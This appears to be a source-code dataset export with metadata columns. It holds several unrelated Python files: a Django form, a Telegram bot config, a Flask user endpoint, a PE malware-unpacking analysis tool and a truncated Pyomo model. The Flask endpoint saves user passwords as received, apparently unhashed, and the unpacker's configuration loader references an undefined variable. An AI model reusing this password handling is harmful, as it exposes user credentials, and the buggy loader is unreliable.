| 14.352941 | 46 | 0.487705 | 36 | 244 | 3.333333 | 0.583333 | 0.116667 | 0.233333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045198 | 0.27459 | 244 | 16 | 47 | 15.25 | 0.627119 | 0 | 0 | 0 | 0 | 0 | 0.312757 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.454545 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
c774cc70f7362fd8daf5037ff3abf0db4ccef896 | 221 | py | Python | tutorial_application/forms.py | yamasakih/django_rdkit_tutorial | 9ac591963976da38cae962de2b98702bbb919cf4 | [
"MIT"
] | 2 | 2018-12-04T00:01:26.000Z | 2021-03-25T08:28:06.000Z | tutorial_application/forms.py | yamasakih/django-rdkit-tutorial | 9ac591963976da38cae962de2b98702bbb919cf4 | [
"MIT"
] | null | null | null | tutorial_application/forms.py | yamasakih/django-rdkit-tutorial | 9ac591963976da38cae962de2b98702bbb919cf4 | [
"MIT"
] | null | null | null | from django_rdkit import models
from django.forms.models import ModelForm
from .models import Compound
class SubstructureSearchForm(ModelForm):
class Meta:
model = Compound
fields = ('molecule', )
| 18.416667 | 41 | 0.723982 | 24 | 221 | 6.625 | 0.583333 | 0.125786 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.21267 | 221 | 11 | 42 | 20.090909 | 0.913793 | 0 | 0 | 0 | 0 | 0 | 0.036199 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.428571 | 0 | 0.714286 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
c788d246174ead31e98e8d4b7639bcc5eb1a1074 | 580 | py | Python | reddit2telegram/channels/news/app.py | mainyordle/reddit2telegram | 1163e15aed3b6ff0fba65b222d3d9798f644c386 | [
"MIT"
] | 187 | 2016-09-20T09:15:54.000Z | 2022-03-29T12:22:33.000Z | reddit2telegram/channels/news/app.py | mainyordle/reddit2telegram | 1163e15aed3b6ff0fba65b222d3d9798f644c386 | [
"MIT"
] | 84 | 2016-09-22T14:25:07.000Z | 2022-03-19T01:26:17.000Z | reddit2telegram/channels/news/app.py | mainyordle/reddit2telegram | 1163e15aed3b6ff0fba65b222d3d9798f644c386 | [
"MIT"
] | 172 | 2016-09-21T15:39:39.000Z | 2022-03-16T15:15:58.000Z | #encoding:utf-8
from utils import weighted_random_subreddit
t_channel = '@news756'
subreddit = weighted_random_subreddit({
'politics': 0.5,
'news': 0.5
})
def send_post(submission, r2t):
return r2t.send_simple(submission,
text='{title}\n\n{self_text}\n\n/r/{subreddit_name}\n{short_link}',
gif='{title}\n\n/r/{subreddit_name}\n{short_link}',
img='{title}\n\n/r/{subreddit_name}\n{short_link}',
album='{title}\n{link}\n\n/r/{subreddit_name}\n{short_link}',
other='{title}\n{link}\n\n/r/{subreddit_name}\n{short_link}'
)
| 27.619048 | 75 | 0.653448 | 90 | 580 | 4.011111 | 0.388889 | 0.033241 | 0.041551 | 0.166205 | 0.443213 | 0.443213 | 0.443213 | 0.443213 | 0.371191 | 0.199446 | 0 | 0.020325 | 0.151724 | 580 | 20 | 76 | 29 | 0.713415 | 0.024138 | 0 | 0 | 0 | 0.071429 | 0.479646 | 0.444248 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.071429 | 0.071429 | 0.214286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c7a1b4eccd5313fe3d7a77b6d5633a8332809125 | 2,012 | py | Python | endpoints/UserEndpoint.py | GardenersGalore/server | f7d7f8ae07b56fc3c4fbe46f0784329cd94ace2d | [
"MIT"
] | null | null | null | endpoints/UserEndpoint.py | GardenersGalore/server | f7d7f8ae07b56fc3c4fbe46f0784329cd94ace2d | [
"MIT"
] | 1 | 2021-06-02T00:35:43.000Z | 2021-06-02T00:35:43.000Z | endpoints/UserEndpoint.py | GardenersGalore/server | f7d7f8ae07b56fc3c4fbe46f0784329cd94ace2d | [
"MIT"
] | null | null | null | import json
from flask import request
from flask_restful import Resource, abort, reqparse
from models.User import User
"""
POST Creates a new resource.
GET Retrieves a resource.
PUT Updates an existing resource.
DELETE Deletes a resource.
"""
class UserEndpoint(Resource):
def post(self):
j = request.get_json()
# need to ensure the required fields are in the json
if "name" not in j:
abort(422, message="name is not in json body")
else:
name = j["name"]
if "username" not in j:
abort(422, message="username not in json body")
else:
username = j["username"]
if "email" not in j:
abort(422, message="email not in json body")
else:
email = j["email"]
if "password" not in j:
abort(422, message="password not in json body")
else:
password = j["password"]
user_obj = User(
name=name,
username=username,
email=email,
password=password,
)
if "phone_number" in j:
user_obj.phone_number = j["phone_number"]
if "experience" in j:
user_obj.experience = j["experience"]
if "pictureURL" in j:
user_obj.pictureURL = j["pictureURL"]
d = user_obj.save()
return json.loads(d.to_json())
def put(self):
# TODO
pass
def delete(self):
# TODO
pass
def get(self):
parser = reqparse.RequestParser()
parser.add_argument('username', required=True, type=str, help='The username of the User')
args = parser.parse_args()
try:
user = json.loads(User.objects.get(username=args['username']).to_json())
except Exception as e:
print(e)
abort(404, message="User doesnt exist: {} doesn't exist".format(args['username']))
return user
| 24.240964 | 97 | 0.548708 | 242 | 2,012 | 4.504132 | 0.338843 | 0.036697 | 0.022018 | 0.040367 | 0.13945 | 0.077064 | 0 | 0 | 0 | 0 | 0 | 0.011494 | 0.351392 | 2,012 | 82 | 98 | 24.536585 | 0.823755 | 0.029821 | 0 | 0.117647 | 0 | 0 | 0.164514 | 0 | 0 | 0 | 0 | 0.012195 | 0 | 1 | 0.078431 | false | 0.117647 | 0.078431 | 0 | 0.215686 | 0.019608 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
c7aedff29cfbc578d32b6b83c7dce7618a9b1e46 | 680 | py | Python | src/pvt_model/pvt_system/pipe.py | BenWinchester/PVTModel | 6bf3976b06f406f632e0a9e525cd8b05359da239 | [
"MIT"
] | 1 | 2021-05-11T14:15:11.000Z | 2021-05-11T14:15:11.000Z | src/pvt_model/pvt_system/pipe.py | BenWinchester/PVTModel | 6bf3976b06f406f632e0a9e525cd8b05359da239 | [
"MIT"
] | 14 | 2021-02-23T11:53:08.000Z | 2021-11-16T10:45:31.000Z | src/pvt_model/pvt_system/pipe.py | BenWinchester/PVTModel | 6bf3976b06f406f632e0a9e525cd8b05359da239 | [
"MIT"
] | null | null | null | #!/usr/bin/python3.7
########################################################################################
# pvt_collector/pipe.py - Represents a pipe within the system.
#
# Author: Ben Winchester
# Copyright: Ben Winchester, 2021
########################################################################################
"""
The pipe module for the PV-T model.
This module represents a pipe within the PV-T system.
"""
from dataclasses import dataclass
__all__ = ("Pipe",)
@dataclass
class Pipe:
"""
Represents a pipe within the PVT system.
.. attribute:: temperature
The temperature of the pipe, measured in Kelvin.
"""
temperature: float
| 21.25 | 88 | 0.507353 | 67 | 680 | 5.074627 | 0.552239 | 0.097059 | 0.132353 | 0.185294 | 0.211765 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010526 | 0.161765 | 680 | 31 | 89 | 21.935484 | 0.585965 | 0.511765 | 0 | 0 | 0 | 0 | 0.033613 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c7cce7b123c5282102e29d889ac9141ac4ccb76e | 10,135 | py | Python | pyparser.py | ddurvaux/PyUnpacker | 13c90379c26c4a9ae8c2c4d94e26f2de9709ae1d | [
"MIT"
] | null | null | null | pyparser.py | ddurvaux/PyUnpacker | 13c90379c26c4a9ae8c2c4d94e26f2de9709ae1d | [
"MIT"
] | 1 | 2017-02-06T11:06:11.000Z | 2017-02-06T11:07:29.000Z | pyparser.py | ddurvaux/PyUnpacker | 13c90379c26c4a9ae8c2c4d94e26f2de9709ae1d | [
"MIT"
] | null | null | null | #!/usr/bin/python
#
# This tool is an attempt to automate some taks related
# to malware unpacking.
#
# Most (if not all) of the tricks used in this tool
# directly comes from an excellent course given
# by Nicolas Brulez (@nicolasbrulez)
#
# Tool developped by David DURVAUX for Autopsit
# (commercial brand of N-Labs sprl)
#
# TODO
# - everything
# - VirusTotal Support
# - dynamic analysis (GDB? Valgring?)
# - static code analysis with Radare2
# - add argument for PEID
# - save status / restore (config/analysis)
# - extract fucnction without offset for comparison of samples
# - ..
#
#
__author__ = 'David DURVAUX'
__contact__ = 'david@autopsit.org'
__version__ = '0.01'
# Imports required by this tool
import os
import sys
import json
import pefile
import peutils
import argparse
from distorm3 import Decode, Decode16Bits, Decode32Bits, Decode64Bits, Decompose, DecomposeGenerator, DF_STOP_ON_FLOW_CONTROL
# Imports part of this tool
import static.vivframework
# --------------------------------------------------------------------------- #
# REPRESENTATION OF THE CONFIGURATION
# --------------------------------------------------------------------------- #
class Configuration:
force = False # force to redo all the analysis
modstatic = None # static analysis module
moddynamic = None # dynamic analysis module
# DB downloaded on
# https://raw.githubusercontent.com/viper-framework/viper/master/data/peid/UserDB.TXT (UPX not detected)
# https://raw.githubusercontent.com/ynadji/peid/master/userdb.txt (problems)
# http://blog.didierstevens.com/programs/yara-rules/
signatures = peutils.SignatureDatabase('./peid/peid-userdb-rules-with-pe-module.yara')
def __init__(self):
return
def save(self, filename="./config.json"):
config = {
"force": self.force,
"modstatic": self.modstatic,
"moddynamic": self.moddynamic
}
try:
# write configuration to file
fd = open(filename, "w")
json.dump(config, fd)
fd.close()
print("Configuration saved to %s" % filename)
except Exception as e:
print("Impossible to save configuration to %s" % filename)
print(e)
return
def load(self, filename="./config.json"):
config = {}
try:
# read configuration from file
fd = open(filename, "r")
config = json.load(fd)
fd.close()
# update internal state
self.__dict__[key] = config[key]
except Exception as e:
print("Impossible to load configuration from %s" % filename)
print(e)
return
# --------------------------------------------------------------------------- #
# REPRESENTATION OF THE INFO RETRIEVED
# --------------------------------------------------------------------------- #
class BinaryInformations:
"""
This class will represent and hold all the information
retrieved from the binary
"""
vtinfo = {}
peheader = {}
bininfo = {}
settings = {}
packed_score = 0 # current packed score
packed_test = 0 # number of test done
breakpoints = [] # breakoint to set for unpacking
anti_debug = False
def __init__(self):
return
def log(self):
#TODO IMPLEMENT
return
def save(self, filename=sys.stdout):
print ("NOT YET IMPLEMENTED!")
return
# --------------------------------------------------------------------------- #
# STATIC ANALYSIS OF BINARY
# --------------------------------------------------------------------------- #
class StaticAnalysis:
"""
Tools to analyze statically binaries
@TODO: define access to page_size, margin, entropy_threshold and packed_score
"""
# class variable
configuration = None
binary = None
bininfo = None
page_size = 0
margin= 0
entropy_threshold = 0
packed_score = 0
SFLAGS = {
"CODE" : 0x00000020,
"DATA" : 0x00000040,
"EXEC" : 0x20000000,
"READ" : 0x40000000,
"WRIT" : 0x80000000
# other: check https://msdn.microsoft.com/en-us/library/ms809762.aspx
}
def __init__(self, binary, configuration, page_size=0x1000, margin=0.1, entropy_threshold = 7.0, packed_score=0):
"""
binary the path to the binary to analyze
"""
# set parameters
self.binary = binary
self.page_size = page_size
self.margin = margin
self.entropy_threshold = entropy_threshold
self.packed_score = packed_score
# instanciate internal objects
self.pe = pefile.PE(binary)
self.bininfo = BinaryInformations()
# keep track of the current configuration
self.configuration = configuration
# initialize static analysis module (TODO - add support for others)
self.configuration.modstatic = static.vivframework.Vivisect(self.binary, self.bininfo, self.configuration.force)
# update BinaryInformation with current settings:
self.bininfo.settings["peanalysis"] = {
"binary" : self.binary,
"page_size" : self.page_size,
"margin" : self.margin,
"entropy_threshold" : self.entropy_threshold,
"packed_score" : self.packed_score
}
# CHECK BINARY SECTIONS
def analyzeSections(self):
"""
TODO: mutliple output support, number of test
Need to Add:
- check section names
- check where entry point is located (in the last section)
- first section should be writeable
- last section should be executable
- ...
"""
# check number of sections
if(len(self.pe.sections)) != 3:
print "ABNOMALIE in NUMBER OF SECTIONS (%d)!!" % len(self.pe.sections)
self.bininfo.packed_score += 1
self.bininfo.packed_test += 1
# check section + boundary and see if it matches
for section in self.pe.sections:
[name, vaddr, vsize, rsize, flags] = [section.Name, section.VirtualAddress, section.Misc_VirtualSize, section.SizeOfRawData, section.Characteristics]
# check flags
if( int(flags ^ (self.SFLAGS["EXEC"] | self.SFLAGS["WRIT"])) == 0 ): # check if section is executable + writeable
print "ABNOMALIE SECTION SHOULD NOT BE WRITEABLE AND EXECUTABLE (W^X violation)!!"
self.bininfo.packed_score += 1
# check sections sizes (incl. page alignment)
# the rsize need to be written in a multiple of memory page size (min 1.)
# a margin is added (could be customized)
if (rsize / self.page_size + 1) * self.page_size * (1 + self.margin) < vsize:
print "ABNOMALIES with VIRTUAL SIZE ALLOCATION for SECTION: %s" % name
self.bininfo.packed_score += 1
# check entropy
if(section.get_entropy() >= self.entropy_threshold):
print "ABNORMAL ENTROPY (%s)) for SECTION: %s" % (section.get_entropy(), name)
self.bininfo.packed_score += 1
# update bininfo status
self.bininfo.packed_test += 3 # 3 tests are done for each section
print ("TOTAL PACKED SCORE: %s / %s" % (self.bininfo.packed_score, self.bininfo.packed_test))
return self.bininfo
def callPEiD(self):
"""
Use set of YARA rules to search for known packers
TODO - add a check on signature presence or download or end
- postpone initialization of signatures DB here!!
"""
matches = self.configuration.signatures.match(self.pe, ep_only = True)
if(matches is not None):
if(len(matches) > 0):
print "PACKER FOUND: %s" % matches[0]
return self.bininfo
def graphSearch(self):
"""
Do a graph search in the code for leaf nodes
"""
self.configuration.modstatic.graphSearch()
def isAntiDebug(self):
if self.configuration.modstatic.isAntiDebug():
print "WARNING: ANTI-DEBUGGING TRICKS FOUND!"
def searchVirtualAlloc(self):
self.configuration.modstatic.searchVirtualAlloc()
def getPerFunctionHash(self):
self.configuration.modstatic.getPerFunctionHash()
def decompile(self):
"""
! need to take in account offset in memory !
-- CODE TO REMOVE -- DEPRECATED --
"""
fd = open(self.binary, "rb")
l = DecomposeGenerator(0x100, fd.read(), Decode32Bits, DF_STOP_ON_FLOW_CONTROL)
while(l is not None):
# -- BEGIN TEST CODE --
for i in l:
#print "0x%08x (%02x) %-20s %s" % (i[0], i[1], i[3], i[2])
print "0x%08x %s" % (i.address, i)
# -- END TEST CODE --
l = DecomposeGenerator(0x100, fd.read(), Decode32Bits, DF_STOP_ON_FLOW_CONTROL)
fd.close()
return
# --------------------------------------------------------------------------- #
# MAIN SECTION OF CODE
# --------------------------------------------------------------------------- #
def start_analysis(binary, configuration):
sa = StaticAnalysis(binary, configuration)
sa.analyzeSections()
sa.callPEiD()
sa.graphSearch()
sa.isAntiDebug()
sa.searchVirtualAlloc()
sa.getPerFunctionHash() #TEST
#sa.decompile() # TEST
return
def main():
# Argument definition
parser = argparse.ArgumentParser(description='Analyse binaries and try to help with deobfuscation')
parser.add_argument('-b', '--binary', help='Binary to analyze')
parser.add_argument('-f', '--force', help='Force a fresh analysis, no restoration of previous work', action="store_true")
parser.add_argument('-y', '--yara', help='Path to YARA DB to use to scan binary')
parser.add_argument('-viv', '--vivisect', help='Path to vivisect installation')
# create a configuration holder
configuration = Configuration()
# Start the fun part :)
args = parser.parse_args()
# if force flag is defined, change behaviour
if args.force:
configuration.force = True
# set YARA DB signature
if args.yara:
if os.path.isfile(args.yara):
configuration.signatures = args.yara
else:
print "ERROR: %s not found!" % args.yara
exit()
# TEST - save configuration for re-use
#configuration.save()
configuration.load()
# set Vivisect path and Initialize
# currently only vivisect is supported
# this code need to be changed if other libraries get supported later
if args.vivisect:
if os.path.isdir(args.vivisect):
sys.path.append(args.vivisect)
else:
print "ERROR: %s not found!" % args.vivisect
exit()
# Check if an output directory is set
binary = None
if args.binary:
if os.path.isfile(args.binary):
binary = args.binary
start_analysis(binary, configuration)
else:
print "You need to specify a file to analyze"
exit()
if __name__ == "__main__":
main()
# --------------------------------------------------------------------------- #
# That's all folk ;)
# --------------------------------------------------------------------------- # | 29.207493 | 152 | 0.651998 | 1,235 | 10,135 | 5.273684 | 0.31417 | 0.025334 | 0.020881 | 0.016889 | 0.093352 | 0.051129 | 0.037771 | 0.018732 | 0.018732 | 0.018732 | 0 | 0.014039 | 0.170696 | 10,135 | 347 | 153 | 29.207493 | 0.760857 | 0.311593 | 0 | 0.20904 | 0 | 0 | 0.16002 | 0.007311 | 0 | 0 | 0.010967 | 0.017291 | 0 | 0 | null | null | 0 | 0.045198 | null | null | 0.096045 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c7d12defacc5fa8896212434511fb502a03f0a3b | 74,691 | py | Python | models_nonconvex_simple2/ndcc13persp.py | grossmann-group/pyomo-MINLP-benchmarking | 714f0a0dffd61675649a805683c0627af6b4929e | [
"MIT"
] | null | null | null | models_nonconvex_simple2/ndcc13persp.py | grossmann-group/pyomo-MINLP-benchmarking | 714f0a0dffd61675649a805683c0627af6b4929e | [
"MIT"
] | null | null | null | models_nonconvex_simple2/ndcc13persp.py | grossmann-group/pyomo-MINLP-benchmarking | 714f0a0dffd61675649a805683c0627af6b4929e | [
"MIT"
] | null | null | null | # MINLP written by GAMS Convert at 08/20/20 01:30:45
#
# Equation counts
# Total E G L N X C B
# 297 170 42 85 0 0 0 0
#
# Variable counts
# x b i s1s s2s sc si
# Total cont binary integer sos1 sos2 scont sint
# 673 631 42 0 0 0 0 0
# FX 0 0 0 0 0 0 0 0
#
# Nonzero counts
# Total const NL DLL
# 2479 2353 126 0
#
# Reformulation has removed 1 variable and 1 equation
from pyomo.environ import *
model = m = ConcreteModel()
m.x1 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x2 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x3 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x4 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x5 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x6 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x7 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x8 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x9 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x10 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x11 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x12 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x13 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x14 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x15 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x16 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x17 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x18 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x19 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x20 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x21 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x22 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x23 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x24 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x25 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x26 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x27 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x28 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x29 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x30 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x31 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x32 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x33 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x34 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x35 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x36 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x37 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x38 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x39 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x40 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x41 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x42 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x43 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x44 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x45 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x46 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x47 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x48 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x49 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x50 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x51 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x52 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x53 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x54 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x55 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x56 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x57 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x58 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x59 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x60 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x61 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x62 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x63 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x64 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x65 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x66 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x67 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x68 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x69 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x70 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x71 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x72 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x73 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x74 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x75 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x76 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x77 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x78 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x79 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x80 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x81 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x82 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x83 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x84 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x85 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x86 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x87 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x88 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x89 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x90 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x91 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x92 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x93 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x94 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x95 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x96 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x97 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x98 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x99 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x100 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x101 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x102 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x103 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x104 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x105 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x106 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x107 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x108 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x109 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x110 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x111 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x112 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x113 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x114 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x115 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x116 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x117 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x118 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x119 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x120 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x121 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x122 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x123 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x124 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x125 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x126 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x127 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x128 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x129 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x130 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x131 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x132 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x133 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x134 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x135 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x136 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x137 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x138 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x139 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x140 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x141 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x142 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x143 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x144 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x145 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x146 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x147 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x148 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x149 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x150 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x151 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x152 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x153 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x154 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x155 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x156 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x157 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x158 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x159 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x160 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x161 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x162 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x163 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x164 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x165 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x166 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x167 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x168 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x169 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x170 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x171 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x172 = Var(within=Reals,bounds=(0,None),initialize=0)
m.x173 = Var(within=Reals,bounds=(0,None),initialize=0)
